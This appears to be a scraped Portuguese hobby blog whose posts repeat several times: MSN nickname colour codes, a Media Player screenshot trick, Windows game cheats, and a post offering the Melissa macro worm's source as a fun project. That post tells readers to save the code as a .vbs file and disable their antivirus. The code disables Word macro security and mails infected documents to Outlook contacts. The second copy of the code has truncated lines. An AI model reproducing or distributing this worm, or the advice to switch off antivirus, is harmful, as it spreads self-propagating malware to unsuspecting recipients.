~[TUTO] Colocar cor no "Diz."!
[~]
Como colocar cor no diz?
Exemplo: Netinho diz:
É fáciil. Basta copiar o que deseja e colocar no fiim do seu nick!
Exemplo: Netinho ·$X
O que seria o "X" ?
É o número da cor. Tipo, o vermelho no msn é assim: [c=4][/c]
O que vc vai fazer? Vai copiar isso ·$X e no lugar do "X" vc vai por o número da letra!
Exemplo: >>Netinho<< ·$X4
Vc pode escolher, além de cor, risco, sublinhado, negrito e italico!
É só copiar e colocar no fim do seu nick:
• COR -> ·$X
• COR DE FUNDO -> ·$,X
• ÍTALICO -> ·&
• SUBLINHADO -> ·@
• RISCADO -> ·'
• NEGRITO -> ·#
( Vc pode tirar ele! ée só colocar ele branco! ;] )
[~]
Como colocar cor no diz?
Exemplo: Netinho diz:
É fáciil. Basta copiar o que deseja e colocar no fiim do seu nick!
Exemplo: Netinho ·$X
O que seria o "X" ?
É o número da cor. Tipo, o vermelho no msn é assim: [c=4][/c]
O que vc vai fazer? Vai copiar isso ·$X e no lugar do "X" vc vai por o número da letra!
Exemplo: >>Netinho<< ·$X4
Vc pode escolher, além de cor, risco, sublinhado, negrito e italico!
É só copiar e colocar no fim do seu nick:
• COR -> ·$X
• COR DE FUNDO -> ·$,X
• ÍTALICO -> ·&
• SUBLINHADO -> ·@
• RISCADO -> ·'
• NEGRITO -> ·#
( Vc pode tirar ele! ée só colocar ele branco! ;] )
Ver Video No Paint
Quando Voce esta no windows media player Aperte no Teclado Print Screen
Depois vá no paint e Cole(Ctrl+v)!
é só assistir agora...
PS. soh ki soh funfa em quanto o MP estiver aberto
Quando Voce esta no windows media player Aperte no Teclado Print Screen
Depois vá no paint e Cole(Ctrl+v)!
é só assistir agora...
PS. soh ki soh funfa em quanto o MP estiver aberto
1º Abra o Bloco de Notas e Cole o Código a baixo
clica em tds os formatos
2º Salva com o nome Melissa.vbs
Um conselho naum vá achando que o .VBS é igual ao .BAT não então nem teste se não quiser ver a desgraça no seu PC
Olha é aconselhavél que você desative seu antivirus se não ele não vai deixar você fazer ele. É old mais é legal.
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
clica em tds os formatos
2º Salva com o nome Melissa.vbs
Um conselho naum vá achando que o .VBS é igual ao .BAT não então nem teste se não quiser ver a desgraça no seu PC
Olha é aconselhavél que você desative seu antivirus se não ele não vai deixar você fazer ele. É old mais é legal.
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Of
Then
CommandBars("Macro").Controls("Security.
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Of
Else
CommandBars("Tools").Controls("Macro").E
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Of
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Rouba nos jogos do pc do Windows
► Abra o Pinball 3D
► Quando o jogo iniciar digite "hidden test" (sem aspas)
► Depois clique em qualquer lugar do jogo e mantenha o botão do mouse apertado, quando você mover o mouse, você moverá a bolinha para onde você quiser.
►Como fazer 1 Bilhão de pontos : Depois de digitado "hidden test" a qualquer momento aperte "H" você fará 1.000.000.000 (um bilhão) de pontos!!!
►Ser promovido : "Promovido a Sargento" "Promovido a tenente", após digitar "hidden test" pressione "R" !!
_____________________________________________
De quebra, uma dica para também se dar bem no jogo Paciência.
►A qualquer momento do jogo aperte ALT+SHIFT+2, e veja o que acontece.
________________________________________ _____
►No FreeCell, tecle Ctrl + Shift + F10 , na caixa de diálogo que abrir clique em anular e logo em seguida clique nas cartas.
► Quando o jogo iniciar digite "hidden test" (sem aspas)
► Depois clique em qualquer lugar do jogo e mantenha o botão do mouse apertado, quando você mover o mouse, você moverá a bolinha para onde você quiser.
►Como fazer 1 Bilhão de pontos : Depois de digitado "hidden test" a qualquer momento aperte "H" você fará 1.000.000.000 (um bilhão) de pontos!!!
►Ser promovido : "Promovido a Sargento" "Promovido a tenente", após digitar "hidden test" pressione "R" !!
________________________________________
De quebra, uma dica para também se dar bem no jogo Paciência.
►A qualquer momento do jogo aperte ALT+SHIFT+2, e veja o que acontece.
________________________________________
►No FreeCell, tecle Ctrl + Shift + F10 , na caixa de diálogo que abrir clique em anular e logo em seguida clique nas cartas.
Rouba nos jogos do pc do Windows
► Abra o Pinball 3D
► Quando o jogo iniciar digite "hidden test" (sem aspas)
► Depois clique em qualquer lugar do jogo e mantenha o botão do mouse apertado, quando você mover o mouse, você moverá a bolinha para onde você quiser.
►Como fazer 1 Bilhão de pontos : Depois de digitado "hidden test" a qualquer momento aperte "H" você fará 1.000.000.000 (um bilhão) de pontos!!!
►Ser promovido : "Promovido a Sargento" "Promovido a tenente", após digitar "hidden test" pressione "R" !!
_____________________________________________
De quebra, uma dica para também se dar bem no jogo Paciência.
►A qualquer momento do jogo aperte ALT+SHIFT+2, e veja o que acontece.
________________________________________ _____
►No FreeCell, tecle Ctrl + Shift + F10 , na caixa de diálogo que abrir clique em anular e logo em seguida clique nas cartas.
► Quando o jogo iniciar digite "hidden test" (sem aspas)
► Depois clique em qualquer lugar do jogo e mantenha o botão do mouse apertado, quando você mover o mouse, você moverá a bolinha para onde você quiser.
►Como fazer 1 Bilhão de pontos : Depois de digitado "hidden test" a qualquer momento aperte "H" você fará 1.000.000.000 (um bilhão) de pontos!!!
►Ser promovido : "Promovido a Sargento" "Promovido a tenente", após digitar "hidden test" pressione "R" !!
________________________________________
De quebra, uma dica para também se dar bem no jogo Paciência.
►A qualquer momento do jogo aperte ALT+SHIFT+2, e veja o que acontece.
________________________________________
►No FreeCell, tecle Ctrl + Shift + F10 , na caixa de diálogo que abrir clique em anular e logo em seguida clique nas cartas.
Assinar:
Postagens
